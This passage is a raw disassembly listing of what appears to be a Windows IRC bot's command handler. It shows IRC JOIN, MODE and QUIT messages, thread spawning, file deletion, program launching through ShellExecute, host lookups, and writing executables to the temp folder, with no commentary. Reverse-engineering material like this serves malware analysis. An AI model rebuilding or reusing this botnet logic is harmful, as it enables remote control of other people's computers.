					; sub_401AC7+4236j
		push	edi
		push	offset aK3ysddtmtm ; "k3ysddtmtm"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BD6
		lea	eax, [ebp+var_4454]
		push	eax
		push	104h
		call	dword_4230B0	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_1E80]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_157C]
		push	eax
		call	sub_409E8D
		push	eax
		lea	eax, [ebp+var_4454]
		push	eax
		lea	eax, [ebp+var_1D80]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_417D96
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_1C7C],	1
		mov	[ebp+var_1C78],	ebx
		jz	short loc_407AF5
		push	10h
		push	ebx
		push	eax
		call	sub_4182BE
		add	esp, 0Ch
		mov	[ebp+var_1C70],	eax
		jmp	short loc_407AFB
; ---------------------------------------------------------------------------


loc_407AF5:				; CODE XREF: sub_401AC7+6018j
		mov	[ebp+var_1C70],	ebx


loc_407AFB:				; CODE XREF: sub_401AC7+602Cj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_407B12
		push	esi
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_1C74],	eax
		jmp	short loc_407B18
; ---------------------------------------------------------------------------


loc_407B12:				; CODE XREF: sub_401AC7+603Aj
		mov	[ebp+var_1C74],	ebx


loc_407B18:				; CODE XREF: sub_401AC7+6049j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_1C6C],	eax
		lea	eax, [ebp+var_1F00]
		mov	[ebp+var_1F04],	esi
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_1C64],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C68],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42CB0C
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40A203
		add	esp, 24h
		mov	[ebp+var_1C80],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1F04]
		push	ebx
		push	eax
		push	offset sub_413F23
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1C80]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407BC5


loc_407BAF:				; CODE XREF: sub_401AC7+60FCj
		cmp	[ebp+var_1C60],	ebx
		jnz	loc_4063FE
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407BAF
; ---------------------------------------------------------------------------


loc_407BC5:				; CODE XREF: sub_401AC7+60E6j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CAD0
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_407BD6:				; CODE XREF: sub_401AC7+5FABj
		push	offset dword_42CA88


loc_407BDB:				; CODE XREF: sub_401AC7+28EBj
					; sub_401AC7+3CADj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_401AC7+41F1j
					; sub_401AC7+4208j
		push	[ebp+var_8C]
		push	offset dword_42EE70
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E8B
		cmp	[ebp+var_C], ebx
		jz	loc_401E8B
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42CA78
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 30h
		test	eax, eax
		jle	short loc_407C77
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_423078	; Sleep


loc_407C77:				; CODE XREF: sub_401AC7+6198j
		push	offset dword_42CA64
		call	sub_413B5E
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_407C8B:				; CODE XREF: sub_401AC7+41C3j
					; sub_401AC7+41DAj
		push	[ebp+var_8C]
		push	offset dword_42EE70
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E8B
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_418570
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_407D46
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42CA78
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42CA4C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 38h
		test	eax, eax
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_407D46:				; CODE XREF: sub_401AC7+6204j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CA18
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_4084EA
; ---------------------------------------------------------------------------


loc_407D5F:				; CODE XREF: sub_401AC7+4195j
					; sub_401AC7+41ACj
		push	7Fh
		lea	eax, [ebp+var_1C58]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	7Fh
		lea	eax, [ebp+var_1BD8]
		push	edi
		push	eax
		call	sub_417B00
		push	7Fh
		lea	eax, [ebp+var_1B58]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1AD4],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1AD0],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_1C5C],	esi
		push	offset unk_42C9E4
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40A203
		add	esp, 40h
		mov	[ebp+var_1AD8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C5C]
		push	ebx
		push	eax
		push	offset sub_412D7A
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1AD8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407E1C


loc_407E0A:				; CODE XREF: sub_401AC7+6353j
		cmp	[ebp+var_1ACC],	ebx
		jnz	short loc_407E37
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407E0A
; ---------------------------------------------------------------------------


loc_407E1C:				; CODE XREF: sub_401AC7+6341j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C9A8


loc_407E28:				; CODE XREF: sub_401AC7+645Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_407E37:				; CODE XREF: sub_401AC7+6349j
					; sub_401AC7+6441j
		cmp	[ebp+var_8], ebx
		jnz	loc_408836
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_40882E
; ---------------------------------------------------------------------------


loc_407E57:				; CODE XREF: sub_401AC7+4167j
					; sub_401AC7+417Ej
		push	7Fh
		lea	eax, [ebp+var_1AC4]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	7Fh
		lea	eax, [ebp+var_1A44]
		push	edi
		push	eax
		call	sub_417B00
		push	7Fh
		lea	eax, [ebp+var_19C4]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1940],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_193C],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_1AC8],	esi
		push	offset dword_42C97C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40A203
		add	esp, 40h
		mov	[ebp+var_1944],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1AC8]
		push	ebx
		push	eax
		push	offset sub_412528
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1944]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407F18


loc_407F02:				; CODE XREF: sub_401AC7+644Fj
		cmp	[ebp+var_1938],	ebx
		jnz	loc_407E37
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407F02
; ---------------------------------------------------------------------------


loc_407F18:				; CODE XREF: sub_401AC7+6439j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C940
		jmp	loc_407E28
; ---------------------------------------------------------------------------


loc_407F29:				; CODE XREF: sub_401AC7+4139j
					; sub_401AC7+4150j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C938
		push	eax
		call	sub_417D96
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 10h


loc_407F46:				; CODE XREF: sub_401AC7+64EAj
		test	eax, eax
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45


loc_407F62:				; CODE XREF: sub_401AC7+6C61j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42C930
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_407F8D:				; CODE XREF: sub_401AC7+410Bj
					; sub_401AC7+4122j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42C924
		push	eax
		call	sub_417D96
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 14h
		jmp	short loc_407F46
; ---------------------------------------------------------------------------


loc_407FB3:				; CODE XREF: sub_401AC7+40DDj
					; sub_401AC7+40F4j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCC4
		push	eax
		call	sub_417D96
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_417C89
		add	esp, 10h
		test	eax, eax
		jle	loc_408A45
		push	esi
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42C930
		push	esi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		push	edi
		push	esi
		push	offset dword_42C908


loc_408016:				; CODE XREF: sub_401AC7+65D7j
					; sub_401AC7+6643j ...
		call	sub_413BD2
		jmp	loc_403DDC
; ---------------------------------------------------------------------------


loc_408020:				; CODE XREF: sub_401AC7+40AFj
					; sub_401AC7+40C6j
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40804F
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C900
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40804F:				; CODE XREF: sub_401AC7+6571j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	edi
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42C930
		push	edi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		push	esi
		push	edi
		push	offset dword_42C8E4
		jmp	loc_408016
; ---------------------------------------------------------------------------


loc_4080A3:				; CODE XREF: sub_401AC7+4081j
					; sub_401AC7+4098j
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408A45
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	edi
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		push	esi
		push	offset dword_42C930
		push	edi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		push	esi
		push	edi
		push	offset dword_42C8C8
		jmp	loc_408016
; ---------------------------------------------------------------------------


loc_40810F:				; CODE XREF: sub_401AC7+4053j
					; sub_401AC7+406Aj
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408A45
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	esi
		push	offset unk_42C8A0


loc_408143:				; CODE XREF: sub_401AC7+6E48j
					; sub_401AC7+6E65j ...
		call	sub_413BD2
		jmp	loc_4031B8
; ---------------------------------------------------------------------------


loc_40814D:				; CODE XREF: sub_401AC7+4025j
					; sub_401AC7+403Cj
		push	[ebp+var_8C]
		push	offset dword_42EE70
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E8B
		push	edi
		push	offset dword_42C894
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_423078	; Sleep
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	offset dword_42C880
		call	sub_413B5E
		jmp	loc_4031B8
; ---------------------------------------------------------------------------


loc_4081B1:				; CODE XREF: sub_401AC7+3FF7j
					; sub_401AC7+400Ej
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		call	sub_4176F0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E10
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_408A45
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42CF48
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42C864
		call	sub_413BD2
		add	esp, 2Ch
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401AC7+3FC9j
					; sub_401AC7+3FE0j
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		call	sub_4176F0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E10
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_408A45
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42C844
		call	sub_413BD2
		add	esp, 20h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_40827D:				; CODE XREF: sub_401AC7+3F9Bj
					; sub_401AC7+3FB2j
		cmp	[ebp+var_C], ebx
		jz	loc_401E8B
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E8B
		push	eax
		push	[ebp+arg_10]
		call	sub_413A66
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C824
		push	eax
		call	sub_417D96
		add	esp, 14h
		jmp	loc_408815
; ---------------------------------------------------------------------------


loc_4082BE:				; CODE XREF: sub_401AC7+3F6Dj
					; sub_401AC7+3F84j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4155B6
		jmp	loc_403C4E
; ---------------------------------------------------------------------------


loc_4082D8:				; CODE XREF: sub_401AC7+3F2Fj
					; sub_401AC7+3F44j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A45
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_40837D
		push	esi
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408365
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42CA78
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42C7FC
		push	eax
		call	sub_417D96
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_40850B
; ---------------------------------------------------------------------------


loc_408365:				; CODE XREF: sub_401AC7+6844j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7CC
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	loc_40850B
; ---------------------------------------------------------------------------


loc_40837D:				; CODE XREF: sub_401AC7+682Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41761C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C7B0
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 24h
		jmp	loc_40850B
; ---------------------------------------------------------------------------


loc_4083C6:				; CODE XREF: sub_401AC7+3A44j
					; sub_401AC7+3A59j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_417A18
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_408444
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41805F
		add	esp, 0Ch


loc_4083F1:				; CODE XREF: sub_401AC7+6959j
		test	eax, eax
		jz	short loc_408422
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41805F
		add	esp, 20h
		jmp	short loc_4083F1
; ---------------------------------------------------------------------------


loc_408422:				; CODE XREF: sub_401AC7+692Cj
		push	edi
		call	sub_41776B
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C78C
		push	eax
		call	sub_417D96
		add	esp, 10h
		jmp	loc_40641F
; ---------------------------------------------------------------------------


loc_408444:				; CODE XREF: sub_401AC7+6912j
		push	[ebp+arg_10]
		push	offset unk_42C768
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_408451:				; CODE XREF: sub_401AC7+3A1Aj
					; sub_401AC7+3A2Fj
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408A45
		push	offset asc_42C764 ; "\n"
		push	esi
		call	sub_4183C0
		push	esi
		call	sub_416AAE
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408490
		push	offset unk_42C738
		jmp	short loc_4084DC
; ---------------------------------------------------------------------------


loc_408490:				; CODE XREF: sub_401AC7+69C0j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C720
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	short loc_40850B
; ---------------------------------------------------------------------------


loc_4084A7:				; CODE XREF: sub_401AC7+39F0j
					; sub_401AC7+3A05j
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_408A45
		push	eax
		call	sub_4152E6
		test	eax, eax
		pop	ecx
		jnz	short loc_4084D7
		push	offset unk_42C700
		jmp	short loc_4084DC
; ---------------------------------------------------------------------------


loc_4084D7:				; CODE XREF: sub_401AC7+6A07j
		push	offset dword_42C6E4


loc_4084DC:				; CODE XREF: sub_401AC7+69C7j
					; sub_401AC7+6A0Ej
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_4084EA:				; CODE XREF: sub_401AC7+6293j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40850B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_40850B:				; CODE XREF: sub_401AC7+6899j
					; sub_401AC7+68B1j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		pop	ecx
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_40851D:				; CODE XREF: sub_401AC7+39C6j
					; sub_401AC7+39DBj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40EA69
		push	[ebp+arg_10]
		push	offset dword_42C6CC
		jmp	loc_408016
; ---------------------------------------------------------------------------


loc_40853C:				; CODE XREF: sub_401AC7+399Cj
					; sub_401AC7+39B1j
		push	[ebp+arg_10]
		call	dword_423080	; DeleteFileA
		test	eax, eax
		jz	short loc_408553
		push	[ebp+arg_10]
		push	offset dword_42C6B0
		jmp	short loc_40855E
; ---------------------------------------------------------------------------


loc_408553:				; CODE XREF: sub_401AC7+6A80j
		push	offset dword_42CB84
		call	sub_415221
		push	eax


loc_40855E:				; CODE XREF: sub_401AC7+6A8Aj
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		jmp	loc_408641
; ---------------------------------------------------------------------------


loc_408574:				; CODE XREF: sub_401AC7+3972j
					; sub_401AC7+3987j
		push	[ebp+arg_10]
		call	sub_417C89
		push	eax
		call	sub_416A27
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_408595
		push	offset unk_42C68C
		jmp	short loc_40859A
; ---------------------------------------------------------------------------


loc_408595:				; CODE XREF: sub_401AC7+6AC5j
		push	offset unk_42C65C


loc_40859A:				; CODE XREF: sub_401AC7+6ACCj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_406422
; ---------------------------------------------------------------------------


loc_4085D3:				; CODE XREF: sub_401AC7+3948j
					; sub_401AC7+395Dj
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41671A
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4085F9
		push	offset unk_42C63C
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_4085F9:				; CODE XREF: sub_401AC7+6B26j
		push	offset unk_42C60C
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_408603:				; CODE XREF: sub_401AC7+391Ej
					; sub_401AC7+3933j
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4C9838	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_408649
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4C97B8	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_408664
		push	dword ptr [eax]


loc_40862F:				; CODE XREF: sub_401AC7+6B9Bj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5EC
		push	eax
		call	sub_417D96


loc_408641:				; CODE XREF: sub_401AC7+6AA8j
		add	esp, 10h
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_408649:				; CODE XREF: sub_401AC7+6B4Fj
		push	esi
		call	dword_4C987C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_408664
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4C9884	; inet_ntoa
		push	eax
		jmp	short loc_40862F
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401AC7+6B64j
					; sub_401AC7+6B8Bj
		push	offset unk_42C5C4
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_40866E:				; CODE XREF: sub_401AC7+38F4j
					; sub_401AC7+3909j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_417B00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C59C
		push	eax
		call	sub_417D96
		add	esp, 18h
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_408697:				; CODE XREF: sub_401AC7+38CAj
					; sub_401AC7+38DFj
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4C9774
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4086BB
		push	offset unk_42C57C
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_4086BB:				; CODE XREF: sub_401AC7+6BE8j
		push	offset unk_42C558
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_4086C5:				; CODE XREF: sub_401AC7+38A0j
					; sub_401AC7+38B5j
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_425094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42C530
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_4086DE:				; CODE XREF: sub_401AC7+3876j
					; sub_401AC7+388Bj
		push	[ebp+arg_10]
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A19A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCC4
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		jmp	loc_407F62
; ---------------------------------------------------------------------------


loc_40872D:				; CODE XREF: sub_401AC7+384Cj
					; sub_401AC7+3861j
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_401E8B
		push	esi
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E8B
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_423078	; Sleep
		push	esi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	dword_4C9890	; closesocket
		push	[ebp+var_10]
		push	esi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C754[eax]
		call	dword_4230AC	; TerminateThread
		push	esi
		call	sub_417C89
		imul	eax, 234h
		push	esi
		mov	dword_43C754[eax], ebx
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43C540[eax], bl
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_4087DB:				; CODE XREF: sub_401AC7+3822j
					; sub_401AC7+3837j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408847
		call	sub_40A3CC
		cmp	eax, ebx
		jle	short loc_408802
		push	eax
		push	offset unk_42C504
		jmp	loc_406A42
; ---------------------------------------------------------------------------


loc_408802:				; CODE XREF: sub_401AC7+6D2Ej
		push	offset unk_42C4DC


loc_408807:				; CODE XREF: sub_401AC7+2049j
					; sub_401AC7+2068j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_408815:				; CODE XREF: sub_401AC7+4F8Aj
